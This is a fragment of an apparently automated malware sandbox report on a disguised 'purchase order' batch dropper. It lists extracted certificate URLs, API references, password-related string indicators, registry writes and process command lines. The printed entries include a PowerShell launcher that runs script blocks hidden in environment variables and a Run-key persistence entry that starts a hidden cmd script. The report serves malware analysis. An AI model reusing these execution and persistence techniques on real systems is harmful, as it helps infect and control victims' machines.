"https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00008040.00000002.126276.F32B8000.00000002.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008040.00000003.126649.317D0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008040.00000003.126649.317D0000.00000004.mdmp") Found URL "https://www.dig" - Source: "00000000-00008040.00000003.126649.317D0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreporttringooleantringtringint32ooleanntispyware.0.0.0tringtring.0.0.0indefenduthortringooleantring@tr7nstalllocation\miclockedlocationomclassguidartnerguidnternalmodeomclassguidartnerguidindows" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://www.microsoft.com/windr3]" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://wwnoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/micti2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsxcv3]cv3]1.3.6.1.4.1.311.3.3.1cv3]20170929122640.358z0washington1redmond1microsoft" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://www.microsoft.com/windowszv3][v3]1.3.6.1.4.1.311.3.3.1[v3]20170929122640.358z0washington1redmond1microsoft" - Source: "00000000-00008040.00000003.126649.33720000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ln+" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcdecdthawte," - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl07).1nixs%2qxddh7.*.wtjjtqphjf)1@" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fanonymously" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://w/ts/microoceraut_2010-06-23.crt01http://wwwt.c%del]c" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008040.00000003.126649.4BF20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00008040.00000003.126649.4C400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00008040.00000003.126649.4C400000.00000004.mdmp") Found URL "http://www.microsoft.com/windows(qil]xqil]qil]pil]qil]xril]0sil]softm" - Source: "00000000-00008040.00000003.126649.4C400000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00008040.00000003.126649.4C501000.00000004.mdmp")40:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001708) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00001708) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00001708) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00001708) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00001708) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00001708) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00001708) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00001708)41:T5c7,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp")42:T755,Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.419A9000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.419A9000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.419A9000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A3C0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00000412.00000000.122181.9A3E0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A3E0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00000412.00000000.122181.9A400000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00000412.00000000.122181.9A400000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A460000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A4A0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A4A0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A4A0000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A560000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00000412.00000000.122181.9A560000.00000004.mdmp")43:T92a,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7J��") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "91BC3FECDE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "2B83CBEDDE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "9E682FF4DE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C681AEFFDE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: ">>x") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7E995822DF45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "54AE092BDF45DD010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "0D99DB6DDF45DD010000000000000000000000000200000000")44:T676,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FINDSTR.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")45:Tad5,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7J��") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "91BC3FECDE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "2B83CBEDDE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "9E682FF4DE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C681AEFFDE45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: ">>x") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7E995822DF45DD010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "54AE092BDF45DD010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "0D99DB6DDF45DD010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "FONTINDEXSYNC_NTDU"; Value: "%WINDIR%\System32\conhost.exe --headless -- %WINDIR%\System32\cmd.exe /c call "%LOCALAPPDATA%\Microsoft\Windows\Caches\imm_compose\imm_compose_XMRVLCRBh.cmd"")46:T5ca,Process "cmd.exe" with commandline "/c findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007724) Process "findstr.exe" with commandline "findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00003920) Process "cmd.exe" with commandline "/c findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004640) Process "findstr.exe" with commandline "findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007228) Process "cmd.exe" with commandline "/c findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007260) Process "findstr.exe" with commandline "findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00002260) Process "cmd.exe" with commandline "/c findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005812) Process "findstr.exe" with commandline "findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007444) Process "cmd.exe" with commandline "/c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00006304) Process "findstr.exe" with commandline "findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004216) Process "cmd.exe" with commandline "/c findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005152) Process "findstr.exe" with commandline "findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005096)47:T97e,Spawned process "cmd.exe" with commandline "/c ""C:\\NewPO230824312.js.bat" "" (UID: 00000000-00005420) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007724) Spawned process "findstr.exe" with commandline "findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00003920) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))"" (UID: 00000000-00001708) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004640) Spawned process "findstr.exe" with commandline "findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007228) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007260) Spawned process "findstr.exe" with commandline "findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00002260) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005812) Spawned process "findstr.exe" with commandline "findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007444) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00006304) Spawned process "findstr.exe" with commandline "findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004216) Spawned process "cmd.exe" with commandline "/c findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005152) Spawned process "findstr.exe" with commandline "findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005096) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))"" (UID: 00000000-00000412) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XRVYWAFAL));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZMOEOOXVGV))"" (UID: 